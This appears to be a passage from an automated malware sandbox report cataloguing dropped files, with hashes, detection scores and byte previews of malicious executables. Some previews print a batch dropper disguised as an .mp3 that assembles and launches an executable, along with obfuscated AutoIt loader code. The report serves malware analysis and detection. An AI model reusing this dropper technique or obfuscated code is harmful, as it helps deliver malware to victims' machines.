Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.1.5.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE3DF.tmp.csv Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	73280
Entropy (8bit):	3.0334054159530903
Encrypted:	false
SSDEEP:	1536:mKHxIyUqUfw8zDaBbJE//drLKe2ZnhWuHHP3GX+3QeR:mKHxIyUqUfw8zDaBbJE//drLKe2ZhWuf
MD5:	B102E2301E3ADD8543C99A4A2DAE2E2A
SHA1:	09D6C465930E6BA8D22B6F9E69B75B5956D96317
SHA-256:	BEB9DEC2EA5699FE33B8430CF12C7EAB1832A5144E527A52A40B5672823FF4E5
SHA-512:	4BC8FF83ACC223DC9D801406AFEE443D48EE168F2E6B5C701D25778ABF86274951678E09B82E3CDDE3BE75A5BF111626291F0F0C1691F82E998CCE7E0B6FC065
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WEREC7B.tmp.csv Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	72198
Entropy (8bit):	3.0350429574942543
Encrypted:	false
SSDEEP:	1536:TrH6ItUsyoUxzK+BbJE+cS7cym2WuonfBXiHHf3qXxrbFiC:TrH6ItUsyoUxzK+BbJE+cS7cym2Wuofj
MD5:	36DF3D5D57F779204771D9AAE2857473
SHA1:	86DAE7D775C9BAE4ECA867E46413D49900C667AF
SHA-256:	7D646185DD30BD516D0C4BBECE0EF4E422B4E7C234A1648AB1645074631D105A
SHA-512:	03A96C5770B144A9DD67D141CF4388229195C0E1833048C574E0671013A8BFC8379338B183127D4679DC013DB3C8B2852847ED1FF7AC7B93BF21F812284EAE71
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\Users\user\AppData\Local\Temp\55AD.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3826440
Entropy (8bit):	7.071768383460493
Encrypted:	false
SSDEEP:	49152:OctBvT2cotliYEpliBI0CgREi40sxbqZjQjKQ3oSfLj8:OEvT2c2REpExCbGMjP3oQLo
MD5:	F7A7DB5B9D6CB970AEC8C0D44F7F6661
SHA1:	0CE5CCCE7854B2B87C616EA44F3369BEAC4A8209
SHA-256:	21B0EBF9093E0AA6B6CB2EA597C68696F20774F69AC3B6648ED0D8C91BBC8623
SHA-512:	40B073FEC177CC4AF76235E54AF195029F2239FC1D62574ECFD6DC25DE116238BFA11B830C38E6887789E807E5419C519A64AF371EE094359A5117355EA7336B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 64%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....l...............0..(...b........S.. ...`....@.. ........................w.....p.:...@.................................:...P....`..._...........V:............................................................................................. .@... ...................... ..`.rsrc...._...`...`..................@..@ ............................@..B.idata... ..........................@....themida.`;.........................`....boot....^$..`S..^$.................`..`................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\6965.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	277504
Entropy (8bit):	6.6728183857490855
Encrypted:	false
SSDEEP:	6144:ffADuypoCuSOlHQ56OvzMeh9joDnGNa1K5xCUID+Zt0:wDuio9SOlrOvvhKDGoc5wDl
MD5:	FDCC1593F4E70266CF9E08B2B841CE21
SHA1:	850320549FBE3F04D325FA83F39E17A7F7E0157A
SHA-256:	82E0C8C90B3982E5D6E6218859C32F215980D3784CD1506BE3113006B62E12F1
SHA-512:	A5190E1EF9A9194160807D7FA520B4A35F2BDDE71D1C0499C0A6A62DA4DEE66CBEBA1922F4355A9923AEDA8A87DFD87BF526D9F93EBDD1A0051139666B863BC4
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........&..JG.GJG.GJG.GT.{G[G.GT.jGpG.GT.mG:G.Gm..GMG.GJG.G.G.GT.dGKG.GT.zGKG.GT..GKG.GRichJG.G........PE..L...b.4_.....................0t..... ,............@...........................t.....6........................................`..P.....t.............................P...............................XT..@............................................text............................... ..`.rdata.............................@..@.data.....q..p.......`..............@....rsrc.........t......r..............@..@................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\75AA.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	515072
Entropy (8bit):	7.669696779077265
Encrypted:	false
SSDEEP:	12288:MvmaEAVGLJtQg+9//1TOD+2i6pzj6iF7zzz:M+ryEJtQgyNTOq2Pt77j
MD5:	B4093FFC5BC8C8B9F7F2475E47645B3A
SHA1:	53057BD59EEE23C69696B8AECEF2784F3803C116
SHA-256:	E9AE70EEDF84E5CEF7167C8F454B9E507D6791331DC8CBCACF6BBB77BBF8D98F
SHA-512:	8BCBD1B207E4348A06B6E81DEBAB9FDFD6F88BB3CAC15DE7E7F862AC3B79FB948C724CE1C406E6F4454914B259285E73F3CBCE453ADB977378250E17E5C30FEB
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 41%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................PE..L....V[_....................."......b!............@.........................................................................\...(.......X...........................................................H...@...............x............................text...@........................... ..`.rdata...5.......6..................@..@.data........ ...$..................@....rsrc...X............(..............@..@................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\829C.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	535552
Entropy (8bit):	7.499767651082541
Encrypted:	false
SSDEEP:	12288:RUTl6QMfx0pohMvJNccKY8a/weVB7aIXs2/yHe+:RyqC7ocKY8a/wIII82/yHe
MD5:	0C55A9859F5C1145D952E168AB7139FB
SHA1:	EEE29A86B1408EC701EB8B3617969790C76B797A
SHA-256:	B31D465C9F0AD2EB2EDAEB2629B31629695B3AA92E22EBC1FC5356C0176CA75C
SHA-512:	B34778D0E97826326F5ED284DF3354F3B8C8C69A6193A9479DC3F28AB0B184866484A36E14022EEAFF76A713CEF0EE700ED870C92FC121D65173DDB7CD9207AC
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........&..JG.GJG.GJG.GT.{G[G.GT.jGpG.GT.mG:G.Gm..GMG.GJG.G.G.GT.dGKG.GT.zGKG.GT..GKG.GRichJG.G........PE..L....:._..................... x..... ,............@...........................x..............................................`..P.....x.............................P...............................XT..@............................................text............................... ..`.rdata.............................@..@.data...H.u..p.......`..............@....rsrc.........x......b..............@..@................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\98D4.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	3910856
Entropy (8bit):	7.06582527501643
Encrypted:	false
SSDEEP:	98304:LUSvwIhsc98tg8uoTt4t3v++obfxE4Q/X/4Y/E:LbDsc9OgSTtPfW4Q/X/4GE
MD5:	850190B82AC771DFE03EC7DC0448F2CF
SHA1:	A8A6BF754B4E11D46600B41344E0D33F739DE99C
SHA-256:	6204677525DDBE0733DB30B6FAE9543EEB7F69052908D57A3AB1D4A2732CB426
SHA-512:	CD762CDAF3EEA55FF7AB2A651ABE516539E1DE3CBAA738F9E2E8C42CEA7DFDD0153BA608A4B2150123CF9FBE440477D7B02F13151167FB0D2031AB96A7D69BFA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 27%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...c.z...............0..............kX.. ... ....@.. .......................@......<.<...@.................................: ..P.... ................;............................................................................................. ..... ...j.................. ..`.rsrc........ .......n..............@..@ .............B..............@..B.idata... ... .......D..............@....themida..A..@.......F..............`....boot....N'...W..N'..F..............`..`................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\C612.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	276480
Entropy (8bit):	6.6636108967483825
Encrypted:	false
SSDEEP:	6144:kNbFayuALGw6A6Q86wvNaNLEVcn+frKtoDoV:+FadAqw6AhwvwNofrsoDoV
MD5:	ED7B533D9B8219120357104839B1C960
SHA1:	93349D72D0226826B68A0D5B2A8B92971DF72DA4
SHA-256:	FF3C79FC88D774AC665F391CD5609655E86464E3A19D691D2422B3112745047F
SHA-512:	94B5FBC6C547BDEFC60BFEE4DEA12278B9947012DAA6EF5410138C056F8C8E74CC1A1B3CB56F81D0335D8FD563844A24906316C15FDC947BF8EF03763E6266F5
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........&..JG.GJG.GJG.GT.{G[G.GT.jGpG.GT.mG:G.Gm..GMG.GJG.G.G.GT.dGKG.GT.zGKG.GT..GKG.GRichJG.G........PE..L....6.^.....................,t..... ,............@...........................t.....7........................................`..P.....t.............................P...............................XT..@............................................text............................... ..`.rdata.............................@..@.data...(.q..p.......`..............@....rsrc.........t......n..............@..@................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\D322.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1062400
Entropy (8bit):	7.766434222256567
Encrypted:	false
SSDEEP:	24576:HdhT1nnOef7mf4mNVt54ziKwRJ0DjCZSpI0UETxbYo:/T1nOj4Qb+LwR+CZiHhS
MD5:	9D34489B28093F8041A0F396F88507CA
SHA1:	D150A771AA0A0DA4D698DD3B21C1FFFAF064CD1C
SHA-256:	1BC8C25C47DC2B93EDD0B858AFE89B1DA4F4A8E9CAEAE862F2CE709031CFAA71
SHA-512:	D29D619E6727362BEDA2A520E5742B44DD0F1660817BE8549D3511B9E755F697433E0DA917D2C5E2A9626262EF55FA6C9B240002195E6046C498E1B032F2FA0E
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 22%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........C...C...C.......B.......B.......W.......R...C...........J.....d.B.......B...RichC...................PE..L....s8..................d...........j............@..................................+....@...... ......................................n....................p..........T...............................@............................................text....b.......d.................. ..`.data...H............h..............@....idata..R............j..............@..@.rsrc...n............\|..............@..@.reloc.......p.......,..............@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IXP000.TMP\Alta.mp3 Download File
Process:	C:\Users\user\AppData\Local\Temp\D322.exe
File Type:	ASCII text, with very long lines, with CRLF, CR, LF line terminators
Category:	dropped
Size (bytes):	967746
Entropy (8bit):	5.842320663086364
Encrypted:	false
SSDEEP:	12288:MKXeXUWP5Qj52VOTNNnESYpwQ9GGWc5y9xtKi98:Fl6QjQYAp9Wc5y9xtU
MD5:	0862078BC943D82B2A19E2C42F7C0B15
SHA1:	7767FEB2E3BBE9E2025302964BE82E709347F27D
SHA-256:	462023517B8204AC9A796D4132CDE2D550DD153C3B9FD1838AE545F26EA70638
SHA-512:	BA2041B6C6DAE398CE0C3FC6389810DB3135AE8188E40DFB4F3E53FD016C57D4F75EE12F874FFFFA872E57F873C9864B7D573CBC48186873F037EF9646DCF89C
Malicious:	false
Reputation:	unknown
Preview:	..$tYHWJHscVAPQeM = 106..$cuXAQsfGLrPqXR = 70..While ((9029-9028)*8503)..Switch $tYHWJHscVAPQeM..Case 101....$icliMPqhQUOadNH = Execute(ernwMWOww("77!92!115!105!45!84!119!117!126!121!92!119!104!70!82!120!73!74!74!119!107!82!95!46",5))..$109 = 48..For $vgHafYEBxYIzWsUOSagLMztBgzUpwIHtOagEeSgoQIMNiHdmqZmX = 17 To 21..Local $dxGecowoJESElxXO = 'tcoZvDeMcKhASzwKbTLbUIjmDHZMZSVOlNqmVGURDfZnNIQkQ'..Local $icliMPqhQUOadNH = ernwMWOww("69!110!103!101!121!114!76!121!82!72!103!80!70!82!113!105!124!100!70!82!84!93!88!88",3)..Next....$tYHWJHscVAPQeM = $tYHWJHscVAPQeM + 1..Case 102....$NMVRNWyyxDUfEshl = ernwMWOww("121!108!130!96!94!122!122!77!123!80!82!89!91!75!108!117!96!90!93!84!80!111!74!82!96!105!97!111",8)..$167 = 60..For $jhDbKgaKSgyXBsvTOxWAXQzHbzVcPOkBFUHGqkrbDuVIqo = 18 To 34..Local $NtkNtFkSFcRlBH = 'jGRNdBigLPJZCtOzvVneNsDcsFeukbdodOLHzicJFPmYxGJNQexfe'..Local $NMVRNWyyxDUfEshl = Execute(ernwMWOww("76!122!113!126!109!79!109!124!91!109!122!113!105!116!48!47!94!122!126!126!83!118!127!122!

C:\Users\user\AppData\Local\Temp\IXP000.TMP\Essere.mp3 Download File
Process:	C:\Users\user\AppData\Local\Temp\D322.exe
File Type:	data
Category:	dropped
Size (bytes):	893730
Entropy (8bit):	6.620379049352931
Encrypted:	false
SSDEEP:	12288:FpVWeOV7GtINsegA/hMyyzlcqikvAfcN9b2MyZa31twoPTdFxgawV2M01:FT3E53Myyzl0hMf1tr7Caw8M01
MD5:	7FC4287DF04CF93BFDB965ED0957F76E
SHA1:	A1B1A6DCE462D604A779B698D68C3794176202A8
SHA-256:	53B46B1C3AB80B003FFF8EE3C6E6391B5E44E78145AACF0569CC79C1786AF482
SHA-512:	4AECDF3CECF3D5901B44C3AE6F170F806931DC6A334598B15A6AE91F2AB842B9E733C25A18E5C00E1B7F956CE820970E2DBAD11B797DC669C0939B348A6CA770
Malicious:	false
Reputation:	unknown
Preview:	CSBfBxeJtRnGYDtOYiuftASpEnuDCCqwzUhWlIXdUdKFIPPXatwfwfBwZaKegniBRvhrdiEfpQxNQhAPJokbAKZrzkXRXVwcpoNkBLGkALukUNkMRVzyhJquvp........................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L....q.Z.........."...............................@.......................................@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B......................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IXP000.TMP\Gia.mp3 Download File
Process:	C:\Users\user\AppData\Local\Temp\D322.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	540
Entropy (8bit):	5.804118331015373
Encrypted:	false
SSDEEP:	12:k3H3QJ4aimOP/H3QGB5bnBxAvwTfVkmOpwtfXtA0LcbZAbO:k3H3QJeXH3QGrbnbk+lLRO
MD5:	1A585F778EECED5CF7B28AD82C7E5AE1
SHA1:	F9D14529790064528CA53865AC61542A3071D3F1
SHA-256:	213968E88D7A52B444F7681AC58050AB13A6F8F2044B7CA2B15D93AF88904BCA
SHA-512:	77DB1AA38BBFE146799C4234DC4012A6098F67C9950572C7DB0CADFDD945953B9A38DDD837B06EFBADD8CBF3E167CD7F1C0D18A33D28C81020B0E8B9CA11C6E8
Malicious:	false
Reputation:	unknown
Preview:	Set coWJrBJoBckjgjxBmMFVvkBlUaiuxBTJKw=DESKTOP-..Set XjGdmNaboQnQvfGBUEcc=QO5QU33..Set pIMqqCvjGByPwPZYA=ping localhost..if %computername%==%coWJrBJoBckjgjxBmMFVvkBlUaiuxBTJKw% cmd..Set GRhtfffqjHqcCbpYmPOLYnLXqObucOBvTqviE=MZ..<nul set /p = "%GRhtfffqjHqcCbpYmPOLYnLXqObucOBvTqviE%" > Versato.exe.com..findstr /V /R "^CSBfBxeJtRnGYDtOYiuftASpEnuDCCqwzUhWlIXdUdKFIPPXatwfwfBwZaKegniBRvhrdiEfpQxNQhAPJokbAKZrzkXRXVwcpoNkBLGkALukUNkMRVzyhJquvp$" Essere.mp3 >> Versato.exe.com..copy Alta.mp3 g..start Versato.exe.com g..%pIMqqCvjGByPwPZYA%....

C:\Users\user\AppData\Local\Temp\IXP000.TMP\Nell.mp3 Download File
Process:	C:\Users\user\AppData\Local\Temp\D322.exe
File Type:	data
Category:	dropped
Size (bytes):	119024
Entropy (8bit):	7.99841980516373
Encrypted:	true
SSDEEP:	3072:MppkF6ONV8eeZTcXrThnsGZ5w8jmZ1tQw35mU9vYjokSiCn/pV:MmyZgHhnsGnCmikSpBV
MD5:	69A61EDC4F1CE200D69583B41F2201A1
SHA1:	4E9AB549E0D73EB73FAECBAFC5261E59EB0ED73F
SHA-256:	952FD758FA7FFBEA320756AD28B6353776DE799F0BBFFE159E06FD951BA6348D
SHA-512:	4306290F059C70939C36FB3D69268C3D29FA4D0BF92C2CC4145CA608B4CE11A543506DF84AF4772F9BBD386921973CD77C47A34CAA29C072594153F9AE27ECF5
Malicious:	false
Reputation:	unknown
Preview:	...Mh..=.N3...M...N.2W.].1c.m...,.........h....Zi.....O".X......I..J7....C..,\|.NcA.;.!.8.....p.t...4...M.h.`.K.$b.Uupu.Q.},.s<.PA......:}.X.){:El.y..&..........\.E.....s.k..mtz....,...U.....)./..z....np%-.^bpFq.Z..[..u.3.C...........t..R.,E..XA>.?..,p.T.....p...-..:.D.m .T..G..t..N.^.f....[.[9f.....]X..k....nq....=$.yA....."?...Dgs...1O.%N.F...HG..<3.}....[.....f)..M.])....!.z....U`.......n}...XS...e,..#...p.......i.Yj..W(*..Km..B..Td.+.W..G.x+....G.[..F..[....:.R.n.r.'.E.k....Y.~.AnHk..y..H..rY.`..`.y1..c..<....:%.se....pqw.j.......J.C......[..].G...n.G....i..I.U.....k...(..-..~..<H-..{4jT.2..(t.9..^....t+C..^.yJUP.919@......n..!A%.S..}..`..A....5.T.:.O....."....v_..X.?5.M..<...i...q[#.67v.....:"p.Z~3.o...S#..F...%M..u...}...+.b..6.Y.\|F{.`..Y..(l......z.@.8.<.^x..O.FGLE.3a...\..Om.H....`&Wv.ZB..."...!....tG.Bi.>.....+.E.~L.>o.F..&.s......A.y;.~......U...1/.!. +P.%...+..{d...\ P.a4h.<...o.+.V5A8..n.I.m.^pU8..W....YU..."...#...9..S

C:\Users\user\AppData\Local\Temp\IXP000.TMP\Versato.exe.com Download File
Process:	C:\Windows\SysWOW64\findstr.exe
File Type:	Targa image data - Mono 65536 x 184 x 0 +65535 ""
Category:	modified
Size (bytes):	893606
Entropy (8bit):	6.6201269982958335
Encrypted:	false
SSDEEP:	12288:5pVWeOV7GtINsegA/hMyyzlcqikvAfcN9b2MyZa31twoPTdFxgawV2M01:5T3E53Myyzl0hMf1tr7Caw8M01
MD5:	AC7E48DBA858E15A8E690D815932BB19
SHA1:	BE87503D572E71FD3D66D0F9DDAD4F2CE00C1FE1
SHA-256:	FB037A9D6DE82C0CD301AEEAD155EEC3127282752E1F647A5DCDD156A685E6C2
SHA-512:	FCF848846A530CB6E60D79E49B51DADFD31C120E9F23DE6D89A6D9FC0CC38F29F0410E25A5F29BE5722B0BCDE15210B057D9D41E7928A3612EB53F16B7DFB00B
Malicious:	false
Reputation:	unknown
Preview:	......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L....q.Z.........."...............................@.......................................@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B..................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IXP000.TMP\g Download File
Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines, with CRLF, CR, LF line terminators
Category:	dropped
Size (bytes):	967746
Entropy (8bit):	5.842320663086364
Encrypted:	false
SSDEEP:	12288:MKXeXUWP5Qj52VOTNNnESYpwQ9GGWc5y9xtKi98:Fl6QjQYAp9Wc5y9xtU
MD5:	0862078BC943D82B2A19E2C42F7C0B15
SHA1:	7767FEB2E3BBE9E2025302964BE82E709347F27D
SHA-256:	462023517B8204AC9A796D4132CDE2D550DD153C3B9FD1838AE545F26EA70638
SHA-512:	BA2041B6C6DAE398CE0C3FC6389810DB3135AE8188E40DFB4F3E53FD016C57D4F75EE12F874FFFFA872E57F873C9864B7D573CBC48186873F037EF9646DCF89C
Malicious:	false
Reputation:	unknown
Preview:	..$tYHWJHscVAPQeM = 106..$cuXAQsfGLrPqXR = 70..While ((9029-9028)*8503)..Switch $tYHWJHscVAPQeM..Case 101....$icliMPqhQUOadNH = Execute(ernwMWOww("77!92!115!105!45!84!119!117!126!121!92!119!104!70!82!120!73!74!74!119!107!82!95!46",5))..$109 = 48..For $vgHafYEBxYIzWsUOSagLMztBgzUpwIHtOagEeSgoQIMNiHdmqZmX = 17 To 21..Local $dxGecowoJESElxXO = 'tcoZvDeMcKhASzwKbTLbUIjmDHZMZSVOlNqmVGURDfZnNIQkQ'..Local $icliMPqhQUOadNH = ernwMWOww("69!110!103!101!121!114!76!121!82!72!103!80!70!82!113!105!124!100!70!82!84!93!88!88",3)..Next....$tYHWJHscVAPQeM = $tYHWJHscVAPQeM + 1..Case 102....$NMVRNWyyxDUfEshl = ernwMWOww("121!108!130!96!94!122!122!77!123!80!82!89!91!75!108!117!96!90!93!84!80!111!74!82!96!105!97!111",8)..$167 = 60..For $jhDbKgaKSgyXBsvTOxWAXQzHbzVcPOkBFUHGqkrbDuVIqo = 18 To 34..Local $NtkNtFkSFcRlBH = 'jGRNdBigLPJZCtOzvVneNsDcsFeukbdodOLHzicJFPmYxGJNQexfe'..Local $NMVRNWyyxDUfEshl = Execute(ernwMWOww("76!122!113!126!109!79!109!124!91!109!122!113!105!116!48!47!94!122!126!126!83!118!127!122!

C:\Users\user\AppData\Local\Temp\krpafaoc.exe Download File
Process:	C:\Users\user\AppData\Local\Temp\6965.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11654144
Entropy (8bit):	4.94693843822584
Encrypted:	false
SSDEEP:	98304:covDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDn:P
MD5:	8D7AD8008BAE9593AC01F300C47DC0F7
SHA1:	0781B0FA58F4BC71B3A20CCF69802B820225BA51
SHA-256:	72E08207C3E97EB8B89E2F73046ECB1084FC124F07559DD7FCA2C668D066608E
SHA-512:	54C262139D00A9E46A374D6F83870807C27727E593693D25AF66D8AD2BA6040AB83557804A86C4B64D19B4026D6B0DBDE0DED4F1D332C2159124F3D249BD910E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........&..JG.GJG.GJG.GT.{G[G.GT.jGpG.GT.mG:G.Gm..GMG.GJG.G.G.GT.dGKG.GT.zGKG.GT..GKG.GRichJG.G........PE..L...b.4_.....................0t..... ,............@...........................t.....6........................................`..P.....t.............................P...............................XT..@............................................text............................... ..`.rdata.............................@..@.data.....q..p.......`..............@....rsrc.........t..b...r..............@..@................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\geedrvu Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	252928
Entropy (8bit):	6.790781390487276
Encrypted:	false
SSDEEP:	6144:MNciryKxRySZVHQl6uU8RVKyvKfEOvX6:5irVxASZVfuU8nK38O
MD5:	743BCC99B15C971E0269CB3376C9FF69
SHA1:	5EA7DCFFCDA6CDF903FE4DE53B753F7DB2049E4F
SHA-256:	8E3807C621963A9608F0013814DF628E2CEB76E5BEBB025704E9042994BF5769
